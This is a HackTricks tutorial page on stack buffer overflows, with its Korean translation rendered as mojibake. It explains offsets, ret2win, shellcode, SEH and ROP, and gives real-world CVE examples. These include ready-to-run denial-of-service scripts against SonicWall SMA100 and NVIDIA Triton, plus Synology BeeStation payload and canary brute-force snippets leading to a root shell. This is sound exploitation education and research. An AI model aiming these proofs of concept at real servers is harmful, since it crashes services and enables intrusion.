Stack Overflow
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Stack Overflow๋ ๋ฌด์์ธ๊ฐ
A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
์คํ ์ค๋ฒํ๋ก์ฐ(stack overflow)๋ ํ๋ก๊ทธ๋จ์ด ์คํ์ ํ ๋น๋ ์ฉ๋๋ณด๋ค ๋ ๋ง์ ๋ฐ์ดํฐ๋ฅผ ์ธ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ด ์ด๊ณผ๋ ๋ฐ์ดํฐ๋ ์ธ์ ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ฎ์ด์จ์ ์ ํจํ ๋ฐ์ดํฐ ์์, ์ ์ด ํ๋ฆ ์ฅ์ , ๊ทธ๋ฆฌ๊ณ ์ ์ฌ์ ์ผ๋ก ์ ์ฑ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด ๋ฌธ์ ๋ ์ ๋ ฅ์ ๋ํด ๊ฒฝ๊ณ ๊ฒ์ฌ๋ฅผ ์ํํ์ง ์๋ ์์ ํ์ง ์์ ํจ์์ ์ฌ์ฉ์ผ๋ก ์์ฃผ ๋ฐ์ํฉ๋๋ค.
The main problem of this overwrite is that the saved instruction pointer (EIP/RIP) and the saved base pointer (EBP/RBP) to return to the previous function are stored on the stack. Therefore, an attacker will be able to overwrite those and control the execution flow of the program.
์ด ๋ฎ์ด์ฐ๊ธฐ์ ์ฃผ์ ๋ฌธ์ ๋ ์ด์ ํจ์๋ก ๋์๊ฐ๊ธฐ ์ํ **์ ์ฅ๋ ๋ช ๋ น ํฌ์ธํฐ (EIP/RIP)**์ **์ ์ฅ๋ ๋ฒ ์ด์ค ํฌ์ธํฐ (EBP/RBP)**๊ฐ ์คํ์ ์ ์ฅ๋์ด ์๋ค๋ ์ ์ ๋๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ๋ฎ์ด์จ์ ํ๋ก๊ทธ๋จ์ ์คํ ํ๋ฆ์ ์ ์ดํ ์ ์๊ฒ ๋ฉ๋๋ค.
The vulnerability usually arises because a function copies inside the stack more bytes than the amount allocated for it, therefore being able to overwrite other parts of the stack.
์ด ์ทจ์ฝ์ ์ ๋ณดํต ํจ์๊ฐ ์คํ์ ํ ๋น๋ ๊ฒ๋ณด๋ค ๋ ๋ง์ ๋ฐ์ดํธ๋ฅผ ๋ณต์ฌํจ์ผ๋ก์จ ๋ฐ์ํ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ์คํ์ ๋ค๋ฅธ ๋ถ๋ถ์ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
Some common functions vulnerable to this are: strcpy, strcat, sprintf, getsโฆ Also, functions like fgets , read & memcpy that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.
์ด ์ทจ์ฝ์ ์ ์ทจ์ฝํ ์ผ๋ฐ์ ์ธ ํจ์๋ก๋ strcpy, strcat, sprintf, gets ๋ฑ์ด ์์ต๋๋คโฆ ๋ํ fgets, read ๋ฐ **memcpy**์ ๊ฐ์ด ๊ธธ์ด ์ธ์๋ฅผ ๋ฐ๋ ํจ์๋ค๋ ์ง์ ๋ ๊ธธ์ด๊ฐ ํ ๋น๋ ๊ฒ๋ณด๋ค ํฌ๋ฉด ์ทจ์ฝํ๊ฒ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
For example, the following functions could be vulnerable:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Stack Overflows offsets ์ฐพ๊ธฐ
stack overflows์ ์ฐพ๋ ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ As(์: python3 -c 'print("A"*1000)')์ฒ๋ผ ์์ฃผ ํฐ ์
๋ ฅ์ ์ฃผ๊ณ Segmentation Fault๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ํ์ธํ๋ ๊ฒ์ด๋ค. ์ด๋ address 0x41414141 was tried to be accessed๋ฅผ ๋ํ๋ธ๋ค.
๋ํ, Stack Overflow ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋๋ฉด overwrite the return address๊ฐ ๊ฐ๋ฅํด์ง ๋๊น์ง์ offset์ ์ฐพ์์ผ ํ๋ค. ์ด๋ฅผ ์ํด ๋ณดํต **De Bruijn sequence.**๋ฅผ ์ฌ์ฉํ๋ค. ์ฃผ์ด์ง ์ํ๋ฒณ์ ํฌ๊ธฐ _k_์ ๋ถ๋ถ์์ด ๊ธธ์ด _n_์ ๋ํด, ์ด๊ฒ์ ๊ธธ์ด _n_์ ๋ชจ๋ ๊ฐ๋ฅํ ๋ถ๋ถ์์ด์ด ์ฐ์ ๋ถ๋ถ์์ด๋ก ์ ํํ ํ ๋ฒ์ฉ ๋ํ๋๋ cyclic sequence in which every possible subsequence of length n appears exactly once์ด๋ค.
์ด๋ ๊ฒ ํ๋ฉด EIP๋ฅผ ์๋์ผ๋ก ์ ์ดํ๊ธฐ ์ํด ์ด๋ค offset์ด ํ์ํ์ง ์์๋ผ ํ์ ์์ด, ํจ๋ฉ์ผ๋ก ์ด๋ฐ ์ํ์ค ์ค ํ๋๋ฅผ ์ฌ์ฉํ๊ณ ๊ทธ๊ฒ์ ๋ฎ์ด์ด ๋ฐ์ดํธ๋ค์ offset์ ์ฐพ์ ์ ์๋ค.
Itโs possible to use pwntools for this:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
๋๋ GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ฉด(์ค๋ฒํ๋ก์ฐ ํฌ๊ธฐ๊ฐ ์ถฉ๋ถํ ํฐ ๊ฒฝ์ฐ) ์คํ ๋ด๋ถ์ ์ง์ญ ๋ณ์ ๊ฐ์ ์ ์ฅ๋ **EBP/RBP and EIP/RIP (or even more)**์ ๋๋ฌํ ๋๊น์ง ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
์ด ์ ํ์ ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ ๋ฐํ ์ฃผ์๋ฅผ ์์ ํ๋ ๊ฒ์ผ๋ก, ํจ์๊ฐ ์ข
๋ฃ๋ ๋ ์ด ํฌ์ธํฐ์ ์ฌ์ฉ์๊ฐ ์ง์ ํ ์์น๋ก ์ ์ด ํ๋ฆ์ด ๋ฆฌ๋๋ ์
๋๋๋ก ํ๋ ๊ฒ์
๋๋ค.
๊ทธ๋ฌ๋ ๋ค๋ฅธ ์ํฉ์์๋ ๋จ์ํ ์คํ์ ์ผ๋ถ ๋ณ์ ๊ฐ์ ๋ฎ์ด์ฐ๋ ๊ฒ๋ง์ผ๋ก๋ ์ต์คํ๋ก์์ด ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค(์: ์ฌ์ด CTF ๋ฌธ์ ).
Ret2win
์ด ์ข ๋ฅ์ CTF ์ฑ๋ฆฐ์ง์์๋ ๋ฐ์ด๋๋ฆฌ ๋ด๋ถ์ ์ ๋ ํธ์ถ๋์ง ์๋ ํจ์๊ฐ ์กด์ฌํ๋ฉฐ, ์น๋ฆฌํ๊ธฐ ์ํด ์ด ํจ์๋ฅผ ํธ์ถํด์ผ ํ๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์ด๋ฌํ ์ฑ๋ฆฐ์ง์์๋ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ธ ์คํ์ ์ ์ฐพ๊ณ ํธ์ถํ ํจ์์ ์ฃผ์๋ฅผ ์ฐพ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค(๋ณดํต ASLR์ ๋นํ์ฑํ๋์ด ์์). ๊ทธ๋์ ์ทจ์ฝํ ํจ์๊ฐ ๋ฐํํ ๋ ์จ๊ฒจ์ง ํจ์๊ฐ ํธ์ถ๋ฉ๋๋ค:
Stack Shellcode
์ด ์๋๋ฆฌ์ค์์๋ ๊ณต๊ฒฉ์๊ฐ ์คํ์ shellcode๋ฅผ ๋ฐฐ์นํ๊ณ ์ ์ด๋๋ EIP/RIP๋ฅผ ์ด์ฉํด shellcode๋ก ์ ํํ์ฌ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค:
Windows SEH-based exploitation (nSEH/SEH)
32-bit Windows์์๋ ์ค๋ฒํ๋ก์ฐ๊ฐ ์ ์ฅ๋ ๋ฐํ ์ฃผ์ ๋์ Structured Exception Handler (SEH) ์ฒด์ธ์ ๋ฎ์ด์ธ ์ ์์ต๋๋ค. ์ต์คํ๋ก์์ ์ผ๋ฐ์ ์ผ๋ก SEH ํฌ์ธํฐ๋ฅผ POP POP RET ๊ฐ์ ฏ์ผ๋ก ๊ต์ฒดํ๊ณ 4๋ฐ์ดํธ nSEH ํ๋๋ฅผ ์ฌ์ฉํด shellcode๊ฐ ์๋ ํฐ ๋ฒํผ๋ก ๋ค์ ํผ๋ฒํ๋ ์งง์ ์ ํ๋ฅผ ๋ฃ์ต๋๋ค. ํํ ํจํด์ nSEH์ ์๋ ์งง์ jmp๊ฐ nSEH ๋ฐ๋ก ์์ ๋์ธ 5-byte near jmp๋ก ์ฐฉ์งํ์ฌ ํ์ด๋ก๋ ์์์ ์ผ๋ก ์๋ฐฑ ๋ฐ์ดํธ๋ฅผ ์ ํํ๋ ๊ฒ์ ๋๋ค.
ROP & Ret2โฆ techniques
์ด ๊ธฐ๋ฒ์ ์์์ ๊ธฐ๋ฒ์ ์ ์ฉ๋๋ ์ฃผ์ ๋ณดํธ ์ฅ์น์ธ **No executable stack (NX)**๋ฅผ ์ฐํํ๊ธฐ ์ํ ๊ธฐ๋ณธ ํ๋ ์์ํฌ์ ๋๋ค. ๋ํ ๋ฐ์ด๋๋ฆฌ ๋ด ๊ธฐ์กด ๋ช ๋ น๋ค์ ์ ์ฉํด ์์ ๋ช ๋ น์ ์คํํ๋๋ก ํ๋ ์ฌ๋ฌ ๋ค๋ฅธ ๊ธฐ๋ฒ(ret2lib, ret2syscallโฆ)์ ์ํํ ์ ์๊ฒ ํฉ๋๋ค:
Heap Overflows
์ค๋ฒํ๋ก์ฐ๊ฐ ํญ์ ์คํ์์๋ง ๋ฐ์ํ๋ ๊ฒ์ ์๋๋ฉฐ, ์๋ฅผ ๋ค์ด heap์์๋ ๋ฐ์ํ ์ ์์ต๋๋ค:
Types of protections
์ทจ์ฝ์ ์ ์ ์ฉ์ ๋ง๊ธฐ ์ํด ์ฌ๋ฌ ๋ณดํธ ๊ธฐ๋ฒ๋ค์ด ์กด์ฌํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ ๋ค์์ ํ์ธํ์ธ์:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
sscanf๋ฅผ ์ ๋ขฐํด์๋ ์ ๋๋ ์ด์ ๋ฅผ ์ ๋ณด์ฌ์ฃผ๋ ์ฌ๋ก๊ฐ 2025๋
์ SonicWall์ SMA100 SSL-VPN ์ฅ์น์์ ๋ฐ๊ฒฌ๋์์ต๋๋ค. /usr/src/EasyAccess/bin/httpd ๋ด๋ถ์ ์ทจ์ฝํ ๋ฃจํด์ /__api__/๋ก ์์ํ๋ ๋ชจ๋ URI์์ ๋ฒ์ ๊ณผ ์๋ํฌ์ธํธ๋ฅผ ์ถ์ถํ๋ ค๊ณ ์๋ํฉ๋๋ค:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- ์ฒซ ๋ฒ์งธ ๋ณํ (
%2s)์version์ ๋ ๋ฐ์ดํธ๋ฅผ ์์ ํ๊ฒ ์ ์ฅํฉ๋๋ค (์:"v1"). - ๋ ๋ฒ์งธ ๋ณํ (
%s)๋ ๊ธธ์ด ์ง์ ์๊ฐ ์์ต๋๋ค, ๋ฐ๋ผ์sscanf๋ ์ฒซ ๋ฒ์งธ NUL byte๊ฐ ๋์ฌ ๋๊น์ง ๊ณ์ ๋ณต์ฌํฉ๋๋ค. endpoint๊ฐ stack์ ์์นํ๊ณ 0x800 bytes long์ด๊ธฐ ๋๋ฌธ์, ๊ธธ์ด๊ฐ 0x800 bytes๋ฅผ ์ด๊ณผํ๋ path๋ฅผ ์ ๊ณตํ๋ฉด ๋ฒํผ ๋ค์ ์๋ ๋ชจ๋ ๊ฒ์ด ์์๋ฉ๋๋ค โ ์ฌ๊ธฐ์๋ stack canary์ saved return address๋ ํฌํจ๋ฉ๋๋ค.
ํ ์ค์ proof-of-concept๋ง์ผ๋ก๋ ์ธ์ฆ ์ ์ ํฌ๋์๋ฅผ ์ ๋ฐํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
stack canaries๊ฐ ํ๋ก์ธ์ค๋ฅผ ์ค๋จ์ํค๋๋ผ๋, ๊ณต๊ฒฉ์๋ ์ฌ์ ํ Denial-of-Service ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ป์ ์ ์๋ค(๊ทธ๋ฆฌ๊ณ ์ถ๊ฐ์ ์ธ ์ ๋ณด leaks๊ฐ ์์ผ๋ฉด code-execution๋ ๊ฐ๋ฅํ ์ ์๋ค).
์ค์ ์ฌ๋ก: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA์ Triton Inference Server (โค v25.06)์๋ HTTP API๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ์ฌ๋ฌ stack-based overflows๊ฐ ์กด์ฌํ๋ค.
์ทจ์ฝํ ํจํด์ http_server.cc์ sagemaker_server.cc์ ๋ฐ๋ณต์ ์ผ๋ก ๋ํ๋ฌ๋ค:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) returns the ํ์ฌ HTTP ์์ฒญ ๋ณธ๋ฌธ์ ๊ตฌ์ฑํ๋ ๋ด๋ถ ๋ฒํผ ์ธ๊ทธ๋จผํธ์ ์.- ๊ฐ ์ธ๊ทธ๋จผํธ๋
alloca()๋ฅผ ํตํด stack์ 16-byteevbuffer_iovec๊ฐ ํ ๋น๋๋ค โ ์ํ ์์ด. - **HTTP chunked transfer-encoding**๋ฅผ ์
์ฉํ๋ฉด ํด๋ผ์ด์ธํธ๋ ์์ฒญ์ 6-byte์ง๋ฆฌ ์ฒญํฌ ์์ญ๋ง ๊ฐ (
"1\r\nA\r\n")๋ก ๋ถํ ํ๋๋ก ๊ฐ์ ํ ์ ์๋ค. ์ด๋ก ์ธํดn์ด ์คํ์ด ์์ง๋ ๋๊น์ง ๋ฌดํํ ์ฆ๊ฐํ๋ค.
๊ฐ๋ ์ฆ๋ช (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=โlocalhostโ, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( fโPOST /v2/models/add_sub/infer HTTP/1.1\r\nโ fโHost: {host}:{port}\r\nโ โContent-Type: application/octet-stream\r\nโ โInference-Header-Content-Length: 0\r\nโ โTransfer-Encoding: chunked\r\nโ โConnection: close\r\n\r\nโ ).encode())
for _ in range(chunks): # 6-byte chunk โ 16-byte alloc s.send(bโ1\r\nA\r\nโ) # amplification factor โ 2.6x s.sendall(bโ0\r\n\r\nโ) # end of chunks s.close()
if name == โmainโ: exploit(*sys.argv[1:])
</details>
์ฝ ~3 MB ์์ฒญ์ด๋ฉด ์ ์ฅ๋ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๊ณ ๊ธฐ๋ณธ ๋น๋์์ ๋ฐ๋ชฌ์ **crash** ์ํค๊ธฐ ์ถฉ๋ถํฉ๋๋ค.
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktivโs Pwn2Own 2025 chain์ ํฌํธ 5000์ `SYNO.BEE.AdminCenter.Auth`์์ pre-auth overflow๋ฅผ ์
์ฉํ์ต๋๋ค. `AuthManagerImpl::ParseAuthInfo`๋ ๊ณต๊ฒฉ์ ์
๋ ฅ์ Base64-๋์ฝ๋ฉํ์ฌ 4096๋ฐ์ดํธ ์คํ ๋ฒํผ์ ์ ์ฅํ์ง๋ง `decoded_len = auth_info->len`๋ก ์๋ชป ์ค์ ํฉ๋๋ค. CGI ์์ปค๊ฐ ์์ฒญ๋ง๋ค fork๋๊ธฐ ๋๋ฌธ์ ๊ฐ ์์์ ๋ถ๋ชจ์ stack canary๋ฅผ ์์๋ฐ์, ํ๋์ ์์ ์ ์ธ overflow primitive๋ง์ผ๋ก๋ ์คํ์ ์์์ํค๊ณ ํ์ํ ๋ชจ๋ ๋น๋ฐ์ leakํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค.
#### Base64-decoded JSON as a structured overflow
๋์ฝ๋ฉ๋ ๋ธ๋กญ์ ์ ํจํ JSON์ด์ด์ผ ํ๋ฉฐ `"state"` ๋ฐ `"code"` ํค๋ฅผ ํฌํจํด์ผ ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ํ์๋ overflow๊ฐ ์ ์ฉํ๊ธฐ ์ ์ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค. Synacktiv์ JSON์ผ๋ก ๋์ฝ๋ฉ๋๋ ํ์ด๋ก๋, ๊ทธ ๋ค์ NUL ๋ฐ์ดํธ, ๊ทธ๋ฆฌ๊ณ overflow ์คํธ๋ฆผ์ Base64๋ก ์ธ์ฝ๋ฉํ๋ ๋ฐฉ์์ผ๋ก ์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ต๋๋ค. `strlen(decoded)`๋ NUL์์ ๋ฉ์ถ๋ฏ๋ก ํ์ฑ์ ์ฑ๊ณตํ์ง๋ง `SLIBCBase64Decode`๋ ์ด๋ฏธ JSON ๊ฐ์ฒด๋ฅผ ์ง๋ ์คํ์ ๋ฎ์ด์จ canary, saved RBP, ๊ทธ๋ฆฌ๊ณ return address๋ฅผ ๋ฎ์์ต๋๋ค.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. ์ต์คํ๋ก์์ HTTP status code๋ฅผ oracle๋ก ์ทจ๊ธํฉ๋๋ค: 200 ์๋ต์ ์ถ์ธกํ ๋ฐ์ดํธ๊ฐ ์คํ์ ๋ณด์กดํ์์ ์๋ฏธํ๊ณ , 502(๋๋ ์ฐ๊ฒฐ์ด ๋๊น)๋ ํ๋ก์ธ์ค๊ฐ ํฌ๋์ํ์์ ์๋ฏธํฉ๋๋ค. Brute-forcing ๊ฐ ๋ฐ์ดํธ๋ฅผ ์์ฐจ์ ์ผ๋ก ์ํํ๋ฉด 8-byte canary, ์ ์ฅ๋ stack pointer, ๊ทธ๋ฆฌ๊ณ libsynobeeadmincenter.so ๋ด๋ถ์ return address๋ฅผ ๋ณต๊ตฌํ ์ ์์ต๋๋ค:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr๋ ํ์ธ๋ ์ ๋์ฌ๋ฅผ ๋ง๋ถ์ด๋ฉฐ bf_next_byte๋ฅผ ์ฌ๋ ๋ฒ ํธ์ถํฉ๋๋ค. Synacktiv๋ ์ด๋ฌํ oracles๋ฅผ ์ฝ 16๊ฐ์ worker threads๋ก ๋ณ๋ ฌํํ์ฌ ์ ์ฒด leak ์๊ฐ (canary + stack ptr + lib base)์ 3๋ถ ๋ฏธ๋ง์ผ๋ก ๋จ์ถํ์ต๋๋ค.
From leaks to ROP & execution
๋ผ์ด๋ธ๋ฌ๋ฆฌ base๊ฐ ์๋ ค์ง๋ฉด, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret)๊ฐ arb_write primitive๋ฅผ ๊ตฌ์ฑํ์ฌ /bin/bash, -c, ๋ฐ ๊ณต๊ฒฉ์ ๋ช
๋ น์ leaked stack ์ฃผ์์ ๋ฐฐ์นํฉ๋๋ค. ๋ง์ง๋ง์ผ๋ก ์ฒด์ธ์ SLIBCExecl(execl(2)์ BeeStation ๋ํผ)์ ๋ํ calling convention์ ์ค์ ํ์ฌ ๋ณ๋์ info-leak ๋ฒ๊ทธ ์์ด root shell์ ํ๋ํฉ๋๋ค.
References
- watchTowr Labs โ Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits โ Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow โ SEH overflow to RCE over HTTP (0xdf)
- Synacktiv โ Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


